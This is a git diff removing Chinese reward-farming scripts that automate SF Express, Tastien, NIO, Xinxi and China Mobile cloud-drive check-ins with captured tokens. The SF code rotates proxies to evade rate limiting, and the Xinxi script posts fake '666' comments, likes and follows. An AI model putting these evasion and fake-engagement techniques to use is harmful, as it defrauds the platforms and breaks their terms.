- if 'buttonRedirect' in task:
- self.logger.info(f'尝试从buttonRedirect中提取taskCode: {task_title}')
- extracted_task_id = self._extract_task_id_from_url(task['buttonRedirect'])
- if extracted_task_id:
- self.taskCode = extracted_task_id
- self.logger.info(f'成功从buttonRedirect中提取到taskCode: {self.taskCode}')
- else:
- self.logger.warning(f'{task_title} - 无法从buttonRedirect提取taskCode,跳过')
- continue
- else:
- self.logger.warning(f'{task_title} - 无法提取taskCode,跳过')
- continue
-
- # 发现任务
- self.logger.task_found(task_title, task_status)
-
- # 特殊任务处理 - 需要在状态判断之前处理
- if '领任意生活特权福利' in task_title:
- # 先处理生活特权领取
- if self.handle_welfare_task(task_title):
- time.sleep(2)
- # 然后执行任务提交
- if self.execute_task():
- self.logger.task_complete(task_title)
- time.sleep(2)
- # 领取奖励
- if self.receive_task_reward():
- self.logger.reward_get(task_title)
- self._update_points()
- else:
- self.logger.warning(f'任务执行失败: {task_title}')
- else:
- self.logger.warning(f'{task_title} - 无法完成,跳过')
- time.sleep(3)
- continue
-
- # 状态1表示需要先执行任务
- if task_status == 1:
- # 特殊处理连签7天任务
- if '连签7天' in task_title and 'process' in task:
- current, total = map(int, task['process'].split('/'))
- if current < total:
- self.logger.info(f'【{task_title}】进度: {task["process"]},还需{total - current}天')
- continue
-
- if self.execute_task():
- self.logger.task_complete(task_title)
- time.sleep(2)
- # 执行成功后,将状态更新为2(可领取奖励)
- task_status = 2
- else:
- self.logger.warning(f'任务执行失败: {task_title}')
- continue
-
- # 状态2表示可领取奖励
- if task_status == 2:
- # 先尝试直接领取奖励
- if self.receive_task_reward():
- self.logger.reward_get(task_title)
- # 更新积分
- self._update_points()
- continue
-
- # 如果直接领取失败,尝试先执行任务再领取
- if self.execute_task():
- self.logger.task_complete(task_title)
- time.sleep(2)
- # 再次尝试领取奖励
- if self.receive_task_reward():
- self.logger.reward_get(task_title)
- self._update_points()
- else:
- self.logger.warning(f'任务执行失败: {task_title}')
- continue
-
- time.sleep(3)
-
- # 获取最新积分
- tasks = self.get_task_list()
- points_after = self.total_points if tasks else points_before
- if tasks:
- self.logger.points_info(points_after, "执行后积分")
-
- return (points_before, points_after)
-
-
-# ==================== 账号管理器 ====================
-class AccountManager:
- """账号管理器"""
-
- def __init__(self, account_url: str, account_index: int, config: Config):
- self.account_url = account_url
- self.account_index = account_index + 1
- self.config = config
- self.logger = Logger()
- self.proxy_manager = ProxyManager(config.PROXY_API_URL)
-
- # 登录重试机制(参考顺丰代理.py的实现)
- self.login_success = False
- self.user_id = None
- self.phone = None
- self.http_client = None
-
- retry_count = 0
- while retry_count < MAX_PROXY_RETRIES and not self.login_success:
- try:
- # 每次重试都重新获取代理和创建HTTP客户端
- self.http_client = SFHttpClient(config, self.proxy_manager)
-
- # 尝试登录(带超时)
- success, self.user_id, self.phone = self.http_client.login(account_url)
-
- if success:
- masked_phone = self.phone[:3] + "*" * 4 + self.phone[7:]
- self.logger.user_info(self.account_index, masked_phone)
- self.login_success = True
- break
- else:
- if retry_count < MAX_PROXY_RETRIES - 1:
- print(f'账号{self.account_index} 登录失败,尝试重新获取代理 ({retry_count + 1}/{MAX_PROXY_RETRIES})')
- time.sleep(2)
- except Exception as e:
- print(f'账号{self.account_index} 登录异常: {str(e)[:100]}')
-
- retry_count += 1
-
- # 如果所有代理重试都失败,记录错误
- if not self.login_success:
- self.logger.error(f'账号{self.account_index} 登录失败,已重试{MAX_PROXY_RETRIES}次,所有代理均不可用')
-
- def run(self) -> Dict[str, Any]:
- """运行账号任务
-
- Returns:
- Dict: 包含账号统计信息的字典
- """
- if not self.login_success:
- return {
- 'success': False,
- 'phone': '',
- 'points_before': 0,
- 'points_after': 0,
- 'points_earned': 0
- }
-
- # 随机延迟
- wait_time = random.randint(1000, 3000) / 1000.0
- time.sleep(wait_time)
-
- # 初始化任务执行器
- executor = TaskExecutor(self.http_client, self.logger, self.config, self.user_id)
-
- # 先执行APP签到
- app_sign_success, app_error_msg = executor.app_sign_in()
- time.sleep(1)
-
- # 执行新签到
- new_sign_success, new_sign_error = executor.new_sign_in()
- time.sleep(1)
-
- # 再执行小程序签到
- sign_success, error_msg = executor.sign_in()
-
- # 如果签到失败且错误信息包含“活动太火爆”,尝试重新登录
- if not sign_success and '活动太火爆' in error_msg:
- max_retries = 3
- for retry in range(max_retries):
- self.logger.warning(f'签到失败(代理IP问题),{2}秒后重新获取代理并重试(第{retry + 1}次)...')
- time.sleep(2)
-
- try:
- # 重新创建HTTP客户端(会自动获取新代理)
- self.http_client = SFHttpClient(self.config, self.proxy_manager)
-
- # 重新登录
- success, self.user_id, self.phone = self.http_client.login(self.account_url)
-
- if success:
- # 更新执行器的HTTP客户端
- executor.http = self.http_client
- executor.user_id = self.user_id
-
- # 重试签到
- sign_success, error_msg = executor.sign_in()
-
- if sign_success:
- self.logger.success('重新登录后签到成功')
- break
- elif '活动太火爆' not in error_msg:
- # 如果不是代理问题,则不再重试
- break
- else:
- if retry == max_retries - 1:
- self.logger.error(f'重新登录失败,已重试{max_retries}次')
- except Exception as e:
- if retry == max_retries - 1:
- self.logger.error(f'重新登录异常: {str(e)[:100]},已重试{max_retries}次')
-
- # 执行其他任务
- points_before, points_after = executor.run_all_tasks()
- points_earned = points_after - points_before
-
- # 返回统计信息
- return {
- 'success': True,
- 'phone': self.phone,
- 'points_before': points_before,
- 'points_after': points_after,
- 'points_earned': points_earned
- }
-
-
-# ==================== 单账号执行函数 ====================
-def run_single_account(account_info: str, index: int, config: Config) -> Dict[str, Any]:
- """
- 执行单个账号的任务(线程安全)
-
- Args:
- account_info: 账号信息
- index: 账号索引
- config: 配置对象
-
- Returns:
- Dict: 包含账号统计信息的字典
- """
- try:
- with print_lock:
- print(f"🚀 开始执行账号{index + 1}")
-
- account = AccountManager(account_info, index, config)
- result = account.run()
-
- if result['success']:
- with print_lock:
- print(f"✅ 账号{index + 1}执行完成")
- else:
- with print_lock:
- print(f"❌ 账号{index + 1}执行失败")
-
- result['index'] = index
- return result
- except Exception as e:
- error_msg = f"账号{index + 1}执行异常: {str(e)}"
- with print_lock:
- print(f"❌ {error_msg}")
- return {
- 'index': index,
- 'success': False,
- 'phone': '',
- 'points_before': 0,
- 'points_after': 0,
- 'points_earned': 0,
- 'error': error_msg
- }
-
-
-# ==================== 主程序 ====================
-def main():
- """主函数"""
- config = Config()
-
- env_value = os.getenv(config.ENV_NAME)
- if not env_value:
- print(f"❌ 未找到环境变量 {config.ENV_NAME},请检查配置")
- return
-
- account_urls = [url.strip() for url in env_value.split('&') if url.strip()]
- if not account_urls:
- print(f"❌ 环境变量 {config.ENV_NAME} 为空或格式错误")
- return
-
- # 随机打乱账号顺序
- random.shuffle(account_urls)
- print(f"🔀 已随机打乱账号执行顺序")
-
- print("=" * 50)
- print(f"🎉 {config.APP_NAME} v{config.VERSION}")
- print(f"👨💻 作者: 爱学习的呆子")
- print(f"📱 共获取到 {len(account_urls)} 个账号")
- print(f"⚙️ 并发数量: {CONCURRENT_NUM}")
- print(f"⏰ 执行时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
- print("=" * 50)
-
- # 收集所有账号的统计信息
- all_results = []
-
- if CONCURRENT_NUM <= 1:
- # 串行执行模式
- print("🔄 使用串行模式执行...")
- for index, account_url in enumerate(account_urls):
- account = AccountManager(account_url, index, config)
- result = account.run()
- result['index'] = index
- all_results.append(result)
-
- if index < len(account_urls) - 1:
- print("=" * 50)
- print(f"⏳ 等待 2 秒后执行下一个账号...")
- time.sleep(2)
- else:
- # 并发执行模式
- print(f"🔄 使用并发模式执行,并发数: {CONCURRENT_NUM}")
-
- # 使用线程池执行
- with ThreadPoolExecutor(max_workers=CONCURRENT_NUM) as executor:
- # 提交所有任务
- future_to_index = {
- executor.submit(run_single_account, account_url, index, config): index
- for index, account_url in enumerate(account_urls)
- }
-
- # 等待任务完成
- for future in as_completed(future_to_index):
- result = future.result()
- all_results.append(result)
-
- # 按索引排序结果
- all_results.sort(key=lambda x: x['index'])
-
- # 统计成功和失败数量
- success_count = sum(1 for r in all_results if r['success'])
- fail_count = len(all_results) - success_count
- total_earned = sum(r['points_earned'] for r in all_results if r['success'])
-
- # 显示汇总统计表格
- print(f"\n" + "=" * 80)
- print(f"📊 积分统计汇总")
- print("=" * 80)
- print(f"{'序号':<6} {'手机号':<15} {'今日获得积分':<15} {'总积分':<15} {'状态':<10}")
- print("-" * 80)
-
- for result in all_results:
- index = result['index'] + 1
- phone = result['phone'][:3] + "****" + result['phone'][7:] if result['phone'] else "未登录"
- earned = result['points_earned']
- total = result['points_after']
- status = "✅成功" if result['success'] else "❌失败"
-
- print(f"{index:<6} {phone:<15} {earned:<15} {total:<15} {status:<10}")
-
- print("-" * 80)
- print(f"{'汇总':<6} {'账号总数: ' + str(len(all_results)):<15} {'今日总获得: ' + str(total_earned):<15} {'':<15} {'成功: ' + str(success_count):<10}")
- print("=" * 80)
-
- print("\n🎊 所有账号任务执行完成!")
-
-
-if __name__ == '__main__':
- main()
\ No newline at end of file
diff --git a/daily/tasiting.js b/daily/tasiting.js
deleted file mode 100644
index dbe5e3ba..00000000
--- a/daily/tasiting.js
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 塔斯汀小程序签到
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-抓包小程序塔斯汀,获取https://sss-web.tastientech.com/api 请求头的user-token参数,填入环境变量,格式如下:
-变量名:tasiting
-多账号使用&分割或者换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("塔斯汀小程序签到");
-let ckName = `tasiting`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.userFlag = false
- this.phone = ''
-
- }
-
- async run() {
-
- await this.userInfo()
- if (this.userFlag) {
- await this.getSignInfo()
- if (this.activityId) {
- await this.getUserSignInfo()
-
- }
- }
- }
- async userInfo() {
- let options = {
- method: 'GET',
- url: `https://sss-web.tastientech.com/api/intelligence/member/getMemberDetail`,
- headers:
- { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' }
-
-
- };
- let { data: result } = await axios.request(options);
-
- if (result?.code == '200') {
- //打印签到结果
- this.userFlag = true
- this.phone = result.result.phone
- $.log(`🌸账号[${this.index}]手机号:[${result.result.phone}]`);
- } else {
- $.log(`🌸账号[${this.index}] 查询-失败:${JSON.stringify(result)}❌`)
- }
-
-
-
-
- }
- async getSignInfo() {
- let options = {
- method: 'POST',
- url: `https://sss-web.tastientech.com/api/minic/shop/intelligence/banner/c/list`,
- headers: { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' },
- data: { "shopId": "", "birthday": "", "gender": 0, "nickName": '', "phone": "" }
-
- };
- let { data: result } = await axios.request(options);
- for (let item of result.result) {
- if (item.jumpCode == 'SIGN') {
- this.activityId = JSON.parse(item.jumpPara).activityId
- $.log(`🌸账号[${this.index}] 活动ID:[${this.activityId}]`);
- }
- }
- }
- async getUserSignInfo() {
- let options = {
- method: 'POST',
- url: `https://sss-web.tastientech.com/api/sign/member/signInfoV2`,
- headers: { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' },
- data: { activityId: this.activityId }
-
- };
- let { data: result } = await axios.request(options);
- if (result?.code == '200') {
- if (result.result.signMemberInfo.todaySign !== true) {
- await this.doSign()
- } else {
- $.log(`🌸账号[${this.index}] 今日已签到🎉`);
- }
- }
- }
- async doSign() {
- let options = {
- method: 'POST',
- url: `https://sss-web.tastientech.com/api/sign/member/signV2/sign`,
- headers: { 'user-token': this.token, 'version': '3.63.1', 'channel': '1' },
- data: { "activityId": this.activityId, "memberName": "", "memberPhone": this.phone }
-
- };
- let { data: result } = await axios.request(options);
- if (result?.code == '200') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `签到成功🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${JSON.stringify(result)}❌`)
- }
-
-
-
-
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/weilai.js b/daily/weilai.js
deleted file mode 100644
index 0863de1c..00000000
--- a/daily/weilai.js
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 蔚来APP签到
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-变量名 weilai
-APP抓请求头app.nio.com 请求头里面的authorization 去掉Bearer后面部分就是变量值,
-或者抓网页版https://www.nio.cn/ 右上角登录后请求头里面的authorization 去掉Bearer后面部分就是变量值,
-多个账号换行或者&分隔
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("蔚来签到");
-let ckName = `weilai`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://gateway-front-external.nio.com/moat/10086/c/award_cn/checkin?app_id=10086×tamp=${Date.now()}`,
- headers: {
- "authority": "gateway-front-external.nio.com",
- "content-type": "application/x-www-form-urlencoded",
- "accept": "application/json, text/plain, */*",
- "authorization": 'Bearer ' + this.token,
- "sec-fetch-site": "cross-site",
- "priority": "u=3, i",
- "accept-language": "zh-CN,zh-Hans;q=0.9",
- "accept-encoding": "gzip, deflate, br",
- "sec-fetch-mode": "cors",
- "origin": "null",
- "user-agent": defaultUserAgent,
- "sec-fetch-dest": "empty"
- },
- data: "event=checkin"
- };
- let { data: result } = await axios.request(options);
- if (result?.result_code == 'success') {
- $.log(`🌸账号[${this.index}]` + `${result.data.tip}🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${JSON.stringify(result)}❌`)
- }
-
-
-
-
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/xinxi.js b/daily/xinxi.js
deleted file mode 100644
index b6816b96..00000000
--- a/daily/xinxi.js
+++ /dev/null
@@ -1,284 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 心喜 小程序
-cron: 30 7 * * *
-------------------------------------------
-#Notice:
-心喜小程序:目前没有库存 喜欢玩的就玩吧
-抓api.xinc818.com 请求头的sso 多账户&或换行
-变量名 xinxi
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("心喜小程序");
-let ckName = `xinxi`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.posts = []
-
- }
-
- async run() {
- await this.userInfo()
- await this.tasklist()
- }
-
- generateMd5Signature = function (e) {
- var crypto = require("crypto");
-
- var t = Object.keys(e).sort().map((function (t) {
- return t + "=" + e[t]
- }
- )).join("&");
- return crypto.createHash("md5").update(t).digest("hex")
- }
- request(options) {
- let req_timestamp = Date.now();
- let request_id = Math.random().toString(36).substr(2, 9) + "-" + req_timestamp;
- let baseHeaders = {
- "req_timestamp": req_timestamp,
- "request_id": request_id,
- "User-Agent": defaultUserAgent,
- "sso": this.token,
- "sign": this.generateMd5Signature({ data: JSON.stringify(options.data), req_timestamp, request_id, }),
- }
- options.headers = { ...baseHeaders, ...options.headers }
- return axios.request(options)
- }
-
- async userInfo() {
- let options = {
- method: 'GET',
- url: `https://api.xinc818.com/mini/user`,
- headers: {}
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 【${result.data.nickname}】积分【${result.data.integral}】🎉`)
- this.userId = result.data.id
- } else {
- console.log(`❌账号[${this.index}] 用户查询【false】`);
- console.log(result);
- }
-
- }
- async signIn() {
- let options = {
- method: 'GET',
- url: `https://api.xinc818.com/mini/sign/in?dailyTaskId=`,
- headers: {
- "Content-Type": "application/json",
- }
-
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 签到状态【${result.data.flag}】获得积分【${result.data.integral}】🎉`)
- } else {
- $.log(`❌账号[${this.index}] 签到状态【false】`);
- }
-
- }
- async share() {
- let options = {
- method: 'GET',
- url: `https://api.xinc818.com/mini/dailyTask/share`,
- headers: {
- "Content-Type": "application/json",
- },
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 完成分享成功 获得【${result.data.singleReward}】`)
- } else {
- console.log(`❌账号[${this.index}] 完成分享失败`);
- console.log(result);
- }
-
- }
- async tasklist() {
- let options = {
- method: 'GET',
- url: `https://api.xinc818.com/mini/dailyTask/daily`,
- headers: {}
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- for (let task of result.data) {
- await this.getPosts()
- if (task.status == false) {
- if (task.code == 'BROWSE_PRODUCTS') {
- await this.browseGoods()
- }
- if (task.code == 'COMMENT_POSTS') {
- await this.postsComments(this.posts[0].id)
- }
- if (task.code == 'LIKE_POSTS') {
- await this.likePosts(this.posts[0].id)
- }
- if (task.code == 'FOCUS_USER') {
- await this.followUser(this.posts[0].publisherId)
- }
- if (task.code == 'WANT_GOODS') {
- await this.likeGoods()
- }
- if (task.code == 'SHARE') {
- await this.share()
- }
- //未完成
- //finishNum 已完成的数量
- }
- }
- } else {
- $.log(`❌账号[${this.index}] 任务列表【false】`);
- }
-
- }
- async browseGoods(postsId = 22) {
- let options = {
- method: 'GET',
- url: `https://api.xinc818.com/mini/dailyTask/browseGoods/` + postsId,
- headers: {},
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 【浏览商品】成功 获得积分【${result.data.singleReward}】🎉`)
- } else {
- $.log(`❌账号[${this.index}] 【浏览商品】失败`);
- console.log(result);
- }
-
- }
- async postsComments(postsId) {
- let options = {
- method: 'POST',
- url: `https://api.xinc818.com/mini/postsComments`,
- headers: {
- "Content-Type": "application/json",
- },
- data: { "content": "666", "postsId": postsId }
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 【发表评论】成功 获得积分【${result.data.singleReward}】🎉`)
- }
- }
- async getPosts() {
- let options = {
- method: 'GET',
- url: `https://api.xinc818.com/mini/community/home/posts?pageNum=1&pageSize=10&queryType=3&position=2`,
- headers: {}
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- this.posts = result.data.list
-
- }
- }
- async likePosts() {
- //找到posts里面liked为false的
- let posts = this.posts.filter(item => item.liked == false)
-
- let options = {
- method: 'PUT',
- url: `https://api.xinc818.com/mini/posts/like`,
- headers: {
- "Content-Type": "application/json",
- },
- data: { "postsId": posts, "decision": true }
-
- };
-
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- console.log(result);
-
- $.log(`✅账号[${this.index}] 【点赞帖子】成功 获得积分【${result.data.singleReward}】🎉`)
- }
- }
-
- async followUser(postsId) {
- let options = {
- method: 'PUT',
- url: `https://api.xinc818.com/mini/user/follow`,
- headers: {
- "Content-Type": "application/json",
- },
- data: { "postsId": postsId, "decision": true }
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 【关注用户】成功 获得积分【${result.data.singleReward}】🎉`)
- }
- }
- async likeGoods(goodsId) {
- let options = {
- method: 'POST',
- url: `https://api.xinc818.com/mini/live/likeLiveItem`,
- headers: {
- "Content-Type": "application/json",
- },
- data: { "isLike": true, "dailyTaskId": 20, "productId": "" + goodsId }
-
- };
- let { data: result } = await this.request(options);
- if (result.code == 0) {
- $.log(`✅账号[${this.index}] 【点赞商品】成功 获得积分【${result.data.singleReward}】🎉`)
- }
- }
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/ydyp.js b/daily/ydyp.js
deleted file mode 100644
index 6339ae55..00000000
--- a/daily/ydyp.js
+++ /dev/null
@@ -1,4314 +0,0 @@
-/**
- * new Env("中国移动云盘")
- * 变量名ydyp_ck
- * cron 8 10 * * *
- * from:https://github.com/Yuheng0101/X
- * 变量值 [注意事项: 简易方法,开抓包进App,搜refresh,找到authTokenRefresh.do ,请求头中的Authorization,响应体 xxx 中xxx值(新版加密抓这个)]
- */
-const e = (() => {
- const e = e => e in globalThis;
- switch (!0) {
- case e("$task"):
- return "Quantumult X";
- case e("$loon"):
- return "Loon";
- case e("$rocket"):
- return "Shadowrocket";
- case e("Egern"):
- return "Egern";
- case Boolean(globalThis.$environment?.["surge-version"]):
- return "Surge";
- case Boolean(globalThis.$environment?.["stash-version"]):
- return "Stash";
- case Boolean(globalThis.process?.versions?.node):
- return "Node.js";
- default:
- return
- }
-})();
-class t {
- static #e = new Map([]);
- static #t = [];
- static #r = new Map([]);
- static clear = () => {};
- static count = (e = "default") => {
- switch (t.#e.has(e)) {
- case !0:
- t.#e.set(e, t.#e.get(e) + 1);
- break;
- case !1:
- t.#e.set(e, 0)
- }
- t.log(`${e}: ${t.#e.get(e)}`)
- };
- static countReset = (e = "default") => {
- switch (t.#e.has(e)) {
- case !0:
- t.#e.set(e, 0), t.log(`${e}: ${t.#e.get(e)}`);
- break;
- case !1:
- t.warn(`Counter "${e}" doesn’t exist`)
- }
- };
- static debug = (...e) => {
- t.#o < 4 || (e = e.map(e => `🅱️ ${e}`), t.log(...e))
- };
- static error(...r) {
- if (!(t.#o < 1)) {
- switch (e) {
- case "Surge":
- case "Loon":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- case "Quantumult X":
- default:
- r = r.map(e => `❌ ${e}`);
- break;
- case "Node.js":
- r = r.map(e => `❌ ${e.stack}`)
- }
- t.log(...r)
- }
- }
- static exception = (...e) => t.error(...e);
- static group = e => t.#t.unshift(e);
- static groupEnd = () => t.#t.shift();
- static info(...e) {
- t.#o < 3 || (e = e.map(e => `ℹ️ ${e}`), t.log(...e))
- }
- static #o = 3;
- static get logLevel() {
- switch (t.#o) {
- case 0:
- return "OFF";
- case 1:
- return "ERROR";
- case 2:
- return "WARN";
- case 3:
- default:
- return "INFO";
- case 4:
- return "DEBUG";
- case 5:
- return "ALL"
- }
- }
- static set logLevel(e) {
- switch (typeof e) {
- case "string":
- e = e.toLowerCase();
- break;
- case "number":
- break;
- default:
- e = "warn"
- }
- switch (e) {
- case 0:
- case "off":
- t.#o = 0;
- break;
- case 1:
- case "error":
- t.#o = 1;
- break;
- case 2:
- case "warn":
- case "warning":
- default:
- t.#o = 2;
- break;
- case 3:
- case "info":
- t.#o = 3;
- break;
- case 4:
- case "debug":
- t.#o = 4;
- break;
- case 5:
- case "all":
- t.#o = 5
- }
- }
- static log = (...e) => {
- 0 !== t.#o && (e = e.map(e => {
- switch (typeof e) {
- case "object":
- e = JSON.stringify(e);
- break;
- case "bigint":
- case "number":
- case "boolean":
- case "string":
- e = e.toString()
- }
- return e
- }), t.#t.forEach(t => {
- (e = e.map(e => ` ${e}`)).unshift(`▼ ${t}:`)
- }), e = ["", ...e], console.log(e.join("\n")))
- };
- static time = (e = "default") => t.#r.set(e, Date.now());
- static timeEnd = (e = "default") => t.#r.delete(e);
- static timeLog = (e = "default") => {
- const r = t.#r.get(e);
- r ? t.log(`${e}: ${Date.now()-r}ms`) : t.warn(`Timer "${e}" doesn’t exist`)
- };
- static warn(...e) {
- t.#o < 2 || (e = e.map(e => `⚠️ ${e}`), t.log(...e))
- }
-}
-class r {
- static escape(e) {
- const t = {
- "&": "&",
- "<": "<",
- ">": ">",
- '"': """,
- "'": "'"
- };
- return e.replace(/[&<>"']/g, e => t[e])
- }
- static get(e = {}, t = "", o = void 0) {
- Array.isArray(t) || (t = r.toPath(t));
- const n = t.reduce((e, t) => Object(e)[t], e);
- return void 0 === n ? o : n
- }
- static merge(e, ...t) {
- if (null == e) return e;
- for (const o of t)
- if (null != o)
- for (const t of Object.keys(o)) {
- const n = o[t],
- i = e[t];
- switch (!0) {
- case r.#n(n) && r.#n(i):
- e[t] = r.merge(i, n);
- break;
- case n instanceof Map && i instanceof Map:
- if (n.size > 0)
- for (const [e, t] of n) i.set(e, t);
- break;
- case n instanceof Set && i instanceof Set:
- if (n.size > 0)
- for (const e of n) i.add(e);
- break;
- case Array.isArray(n) && 0 === n.length && void 0 !== i:
- case n instanceof Map && 0 === n.size && void 0 !== i:
- case n instanceof Set && 0 === n.size && void 0 !== i:
- break;
- case void 0 !== n:
- e[t] = n
- }
- }
- return e
- }
- static #n(e) {
- if (null === e || "object" != typeof e) return !1;
- const t = Object.getPrototypeOf(e);
- return null === t || t === Object.prototype
- }
- static omit(e = {}, t = []) {
- return Array.isArray(t) || (t = [t.toString()]), t.forEach(t => r.unset(e, t)), e
- }
- static pick(e = {}, t = []) {
- Array.isArray(t) || (t = [t.toString()]);
- const r = Object.entries(e).filter(([e, r]) => t.includes(e));
- return Object.fromEntries(r)
- }
- static set(e, t, o) {
